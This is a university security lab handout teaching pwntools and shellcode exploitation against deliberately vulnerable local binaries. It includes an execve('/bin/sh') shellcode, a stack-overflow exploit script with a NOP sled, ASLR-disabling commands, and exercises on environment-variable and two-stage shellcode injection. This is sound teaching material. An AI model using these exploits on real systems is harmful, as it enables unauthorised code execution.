# Lab 07 - Exploiting. Shellcodes (Part 2)

## Lab Support Files

We will use this lab archive throughout the lab.

student@mjolnir:~$wget http://elf.cs.pub.ro/oss/res/labs/lab-07.tar.gz student@mjolnir:~$ tar xzf lab-07.tar.gz

After unpacking we will get the lab-07/ folder that we will use for the lab:

student@mjolnir:~$cd lab-07/ student@mjolnir:~/lab-07$ ls
1_env_var  2_640k

You can use the demos from lecture 07:

student@mjolnir:~$wget http://elf.cs.pub.ro/cns/res/lectures/lecture-07-demo.zip student@mjolnir:~$ unzip lecture-07-demo.zip
student@mjolnir:~$cd vuln/ student@mjolnir:~/vuln$ ls
01-segfault  02-call-main  03-send-shellcode  04-shellcode-env

## Intro

Starting from where we left off last session, you will find that in real-life scenarios, vulnerabilities leave you very little room to play with, so you have to be creative with your exploits.

Again, for this lab, we will be disabling ASLR as follows:

• Disable it for a newly spawned shell (and subsequent processes):
setarch i386 -R /bin/bash
• You can re-enable it by quitting the shell (such as using the exit command or the Ctrl+d shortcut).
• Disable it system-wide:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
• You can re-enable it system-wide:
echo 1 | sudo tee /proc/sys/kernel/randomize_va_space

## Pwntools Tutorial

Even though pwntools is an excellent CTF framework, it is also an exploit development library. It was developed by Gallopsled, a European CTF team, under the context that exploit developers have been writing the same tools over and over again with different variations. Pwntools comes to level the playing field and bring together developers to create a common framework of tools.

### Local and remote I/O

Pwntools enables you to dynamically interact (through scripting) with either local or remote processes, as follows:

IP = '10.11.12.13'
PORT = 1337
local = False
if not local:
io = remote(IP, PORT)
else:
io = process('/path/to/binary')

io.interactive()

We can send and receive data from a local or remote process via send, sendline, recv, recvline and recvuntil.

Let's construct a complete example in which we interact with a local process.

#include <stdio.h>

int main(int argc, char* argv[])
{
char flag[10] = {'S', 'E', 'C', 'R', 'E', 'T', 'F', 'L', 'A', 'G'};
char digits[10] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9'};
int index = 0;

while (1) {
printf("Give me an index and I'll tell you what's there!\n");
scanf("%d", &index);
printf("Okay, here you go: %p %c\n", &digits[index], digits[index]);
}
return 0;
}

Let's leak one byte of the flag using pwntools.

#!/usr/bin/env python
from pwn import *

io = process('leaky')

# "Give me an index and I'll tell you what's there!\n
io.recvline()

# Send offset -10
io.sendline('-10')

# Here you go\n
result = io.recvline()

print "Got: " + result

io.interactive()

If we run the previous script, we get the following output:

[+] Starting local process './leaky': Done
Got: Okay, here you go: 0xffe947d8 S

[*] Switching to interactive mode
[*] Process './leaky' stopped with exit code 0
[*] Got EOF while reading in interactive
$ Notice the $ prompt which still awaits input from us to feed the process. This is due to the io.interactive() line at the end of the script.

We can encapsulate the previous sequence of interactions inside a function which we can loop.

#!/usr/bin/env python
from pwn import *

def leak_char(offset):
# "Give me an index and I'll tell you what's there!\n
io.recvline()

# Send offset
io.sendline(str(offset))

# Here you go\n
result = io.recvline()

# Parse the result
leaked_char = result.split('go: ')[1].split(' ')[1].split('\n')[0]
return leaked_char

io = process('leaky')

flag = ''

for i in range(-10,0):
flag += leak_char(i)

print "The flag is: " + flag
io.close()

If we run this script, we leak the flag.

$./demo_pwn.py [+] Starting local process './leaky': Done The flag is: SECRETFLAG [*] Stopped program './leaky' ### Logging The previous example was a bit… quiet. Fortunately, pwntools has nicely separated logging capabilities to make things more verbose for debugging and progress-viewing purposes. Let's log each of our steps within the leak_char function. def leak_char(offset): # "Give me an index and I'll tell you what's there!\n io.recvline() # Send offset log.info("Sending request for offset: " + str(offset)) io.sendline(str(offset)) # Here you go\n result = io.recvline() log.info("Got back raw response: " + result) # Parse the result leaked_char = result.split('go: ')[1].split(' ')[1].split('\n')[0] log.info("Parsed char: " + leaked_char) return leaked_char Now the output should be much more verbose: [+] Starting local process './leaky': Done [*] Sending request for offset: -10 [*] Got back raw response: Okay, here you go: 0xffb14948 S [*] Parsed char: S [*] Sending request for offset: -9 [*] Got back raw response: Okay, here you go: 0xffb14949 E [*] Parsed char: E [*] Sending request for offset: -8 [*] Got back raw response: Okay, here you go: 0xffb1494a C [*] Parsed char: C [*] Sending request for offset: -7 [*] Got back raw response: Okay, here you go: 0xffb1494b R [*] Parsed char: R [*] Sending request for offset: -6 [*] Got back raw response: Okay, here you go: 0xffb1494c E [*] Parsed char: E [*] Sending request for offset: -5 [*] Got back raw response: Okay, here you go: 0xffb1494d T [*] Parsed char: T [*] Sending request for offset: -4 [*] Got back raw response: Okay, here you go: 0xffb1494e F [*] Parsed char: F [*] Sending request for offset: -3 [*] Got back raw response: Okay, here you go: 0xffb1494f L [*] Parsed char: L [*] Sending request for offset: -2 [*] Got back raw response: Okay, here you go: 0xffb14950 A [*] Parsed char: A [*] Sending request for offset: -1 [*] Got back raw response: Okay, here you go: 0xffb14951 G [*] Parsed char: G [*] The flag is: SECRETFLAG [*] Stopped program './leaky' ### Assembly and ELF manipulation Pwntools can also be used for precision work, like working with ELF files and their symbols. #!/usr/bin/env python from pwn import * leaky_elf = ELF('leaky') main_addr = leaky_elf.symbols['main'] # Print address of main log.info("Main at: " + hex(main_addr)) # Disassemble the first 14 bytes of main log.info(disasm(leaky_elf.read(main_addr, 14), arch='x86')) We can also write ELF files from raw assembly; this is very useful for testing shellcodes. #!/usr/bin/env python from pwn import * sh_shellcode = """ mov eax, 11 push 0 push 0x68732f6e push 0x69622f2f mov ebx, esp mov ecx, 0 mov edx, 0 int 0x80 """ e = ELF.from_assembly(sh_shellcode, vma=0x400000) with open('test_shell', 'wb') as f: f.write(e.get_data()) ### Shellcode generation Pwntools comes with the shellcraft module, which is quite extensive in its capabilities. print shellcraft.read(0, 0xffffeeb0, 20) # Construct a shellcode which reads from stdin to a buffer on the stack 20 bytes /* call read(0, 0xffffeeb0, 0x14) */ push (SYS_read) /* 3 */ pop eax xor ebx, ebx push 0xffffeeb0 pop ecx push 0x14 pop edx int 0x80 It also works with other architectures: print shellcraft.arm.read(0, 0xffffeeb0, 20) /* call read(0, 4294962864, 20) */ eor r0, r0 /* 0 (#0) */ movw r1, #0xffffeeb0 & 0xffff movt r1, #0xffffeeb0 >> 16 mov r2, #0x14 mov r7, #(SYS_read) /* 3 */ svc 0 print shellcraft.mips.read(0, 0xffffeeb0, 20) /* call read(0, 0xffffeeb0, 0x14) */ slti$a0, $zero, 0xFFFF /*$a0 = 0 */
li $a1, 0xffffeeb0 li$t9, ~0x14
not $a2,$t9
li $t9, ~(SYS_read) /* 0xfa3 */ not$v0, $t9 syscall 0x40404 These shellcodes can be directly assembled using asm inside your script, and given to the exploited process via the send* functions. ### GDB integration Most importantly, pwntools provides GDB integration, which is extremely useful. Let's follow an example using the vulnerable binary from lab 06: #!/usr/bin/env python from pwn import * ret_offset = 68 buf_addr = 0xffffcee8 ret_address = buf_addr+ret_offset+16 payload = '' p = process('vuln') # Garbage payload += ret_offset * 'A' # Overwrite ret_address, taking endianness into account payload += p32(ret_address) # Add nopsled nops = '\x90'*100 # Alternative: asm('nop'), but the above is simpler and faster payload += nops # Assemble a shellcode from 'shellcraft' and append to payload shellcode = asm(shellcraft.sh()) payload += shellcode # Attach to process gdb.attach(p) # Wait for breakpoints, commands etc. raw_input("Send payload?") # Send payload p.sendline(payload) # Enjoy shell :-) p.interactive() Notice the gdb.attach(p) and raw_input lines. The former will open a new terminal window with GDB already attached. All of your GDB configurations will be used, so this works with PEDA as well. Let's set a breakpoint at the ret instruction from the main function: gdb-peda$ pdis main
Dump of assembler code for function main:
0x08048440 <+0>:	push   ebp
0x08048441 <+1>:	mov    ebp,esp
0x08048443 <+3>:	sub    esp,0x40
0x08048446 <+6>:	lea    ebx,[ebp-0x40]
0x08048449 <+9>:	push   ebx
0x0804844a <+10>:	push   0x804a020
0x0804844f <+15>:	call   0x8048300 <printf@plt>
0x08048454 <+20>:	push   ebx
0x08048455 <+21>:	call   0x8048310 <gets@plt>
0x0804845d <+29>:	leave
0x0804845e <+30>:	ret
0x0804845f <+31>:	nop
End of assembler dump.
gdb-peda$b *0x0804845e Breakpoint 1 at 0x804845e gdb-peda$ c
Continuing.

The continue command will return control to the terminal in which we're running the pwntools script. This is where the raw_input comes in handy, because it will wait for you to say “go” before proceeding further. Now if you hit <Enter> at the Send payload? prompt, you will notice that GDB has reached the breakpoint you've previously set.

You can now single-step each instruction of the shellcode inside GDB to see that everything is working properly. Once you reach int 0x80, you can continue again (or close GDB altogether) and interact with the newly spawned shell in the pwntools session.

### 1. Passing shellcode through the environment [3p]

Navigate to the 1_env_var directory. Run make.

Analyse the vuln.asm source file. Notice that strncpy is used and that the buffer is not large enough to store our desired shellcode. In this task, you will use an environment variable, which as you may know will be present on the stack, to store our shellcode.

Write a small script script.py which prints an execve('/bin/sh', ['/bin/sh'], 0) shellcode preceded by a large (16k) NOP sled. Then, store this shellcode in an environment variable as follows:

$export A=$(python ./script.py)

Next, use the getenv binary to find the (approximate) address of the environment variable on the stack

\$ ./getenv A
Env var addr 0xfffdd1e7

This is the address at which you will return to. Just to be sure that you overwrite the return address, write the env var address multiple times in the buffer (as much as strncpy allows it).

### 2. Multistage exploit [7p]

Navigate to 2_640k and run make. Notice that what we're building is the asm file. The C source is there to show what the program is doing from a logical standpoint.

Since the buffer is not large enough to hold a proper shellcode, we're going to construct a two-stage exploit using pwntools. You can start from the skel.py file, if you want.

#### a. Leak the buffer address [2p]

Understand the logic of the program. Can you leak the address of the overflowing buffer somehow? Can you verify that your leak is correct?

#### b. Construct the first stage [2p]

You can use the leak to return exactly to the start of your buffer in order to use all of our available 20 bytes. Use them to call read(0, buf+return_offset, 200). Write a small shellcode which does this. Check using peda if the read is being called i.e. the program enters a blocked state in which it awaits input.

#### c. Construct the second stage [3p]

Now that you are reading onto the stack further past the return address, you can write your proper shellcode there.

Understand that you are currently executing code from the stack. If your code changes after inadvertently modifying values on the stack, you should look for another solution.

In order to get /bin/sh onto the stack, your shellcode should look something like this:

jmp <offset> ; determine through trial and error
'/bin/sh'\0
; code continues here

This will effectively jump over the /bin/sh string on the stack, which you can then use for your shellcode. Without this initial jmp instruction, the string will be interpreted as instructions!

You can also use the ”call before defining a string” trick from the last session to get /bin/sh onto the stack.